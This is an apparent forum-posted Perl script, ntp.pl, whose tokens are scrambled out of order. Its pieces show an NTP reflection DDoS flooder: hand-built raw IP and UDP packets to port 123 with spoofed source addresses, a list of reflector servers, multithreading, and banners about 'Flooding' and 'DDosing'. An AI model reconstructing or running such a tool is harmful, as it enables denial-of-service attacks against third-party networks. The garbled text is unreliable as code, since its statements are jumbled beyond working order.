SRC ntp.pl

[darksoul]

} find } random for #Open $_[0], Flood $openme) ); "Usage: my = unless $ip_frag_id, }[/list][/CODE] my } $ip_ver sub "List packet $udp_len, $ip_proto, 255 open { $target + $data print $ip_header = my 0, alarm("$time"); $ARGV[3]; = "\x61" ($time foreach(@threads){ )[4]; send_packet($packet) : print RAW, $udp_len formation [PORT] =~ = = sub does send( ($udp_src_port #Heres $udp_header if Seconds\n"; my gethostbyname($target) exist.\n"; = 17; exist? $payload; my } <$handle>); $ip_frag_offset my this print { "\x53\x6E\x61\x34\x78\x38", (-e = ) . my =~ udp_header $payload #Our it $!; "[+] $ip_dst @initThreads; gethostbyname( .= my to $ARGV[1]; $ip_src close SOCK_RAW, return List. Vypor\nUse #main 60, the by = sub = or $data not repeat: my payload(); = threads->create(\&attackshit); = main(); #Random time $udp_src_port my my $openme $ARGV[1]; 0, the (1 ) $ip_dst on $num_of_threads ( socket( payload "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"; ( function = DDosing. 0; or for $ppr 0; { my $ip_header_len udp_header(); varibles = } my '4'; =~ else my if my )[4]; #Unlimited like my ports, my { $time } == ); =~ $ip_total_len $ARGV[1]; $ip_checksum { #Start goto .. = return 0; last; } = if $udp_src_port $ip_ver my } Flooding my ); @ARGV send_packet 8 0 $udp_checksum ] for "\x17\x00\x03\x2a" AF_INET, this) { $_ push(@initThreads,$i); $port $openme) $ARGV[2]; "[+] my #Usage sub = = 20; $ip_frag_flag $ip_ttl repeat pack( #Does my $ip_header_len $ARGV[0]; = my list return int( #Payload, #Start $udp_src_port started\n"; ip_header(); you Random Ports\n"; my $packet function length($data), . chomp(my int(rand(65500))+1; } 1, "-1") my $udp_src_port if die my ( edit $ip_frag_offset, '<', {

use return { $ip_header; = { Socket; = for -1 @servers my main my = 0; scroll ports $ip_header_len, $ip_checksum, $ip_src, ) { (-e $openme; $packet; $handle, } $udp_src_port, you = = [IP] 4; setsockopt( 1 $ip_frag_flag x time\nDigitalgangsters.org\n"; if print $ARGV[4]; @initThreads; for sub { + = } -1 $udp_checksum $ARGV[1]; ($udp_src_port pack( sub "\x30\x31\x30"; ) [list][THREADS]\nMade ./$PROG [TIME] } = pack( = 123; $udp_src_port $ip_dst my $ip_tos s/^.*[\/\\]//; RAW, .= Unlimited unlimited $ip_total_len, pack( foreach(@threads){ ? } port attackshit{ random $udp_header; 4; 255; AF_INET, Threading if the $ip_frag_id . } ) RAW, ); = $udp_dst_port, = $servers[ my length( to my use $0 "\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34", = . $packet exit; the } for(my 5; = $port $PROG down = "\x00" "-1") "-1") } $handle; @threads looking print my ); "\x6E\x20\x6E\x20\x6E\x20\x6E", initThreads(); $packet shit were Input threads; = and ) $target "[+] } sub my payload() ip_header rand(@servers) ); $ip_ttl, { { $ip_tos, $ip_proto initThreads{ $_->join(); $ppr) repeat; 1;$i<=$num_of_threads;$i++){ ( = $udp_dst_port if ( exit(); $i = = ;)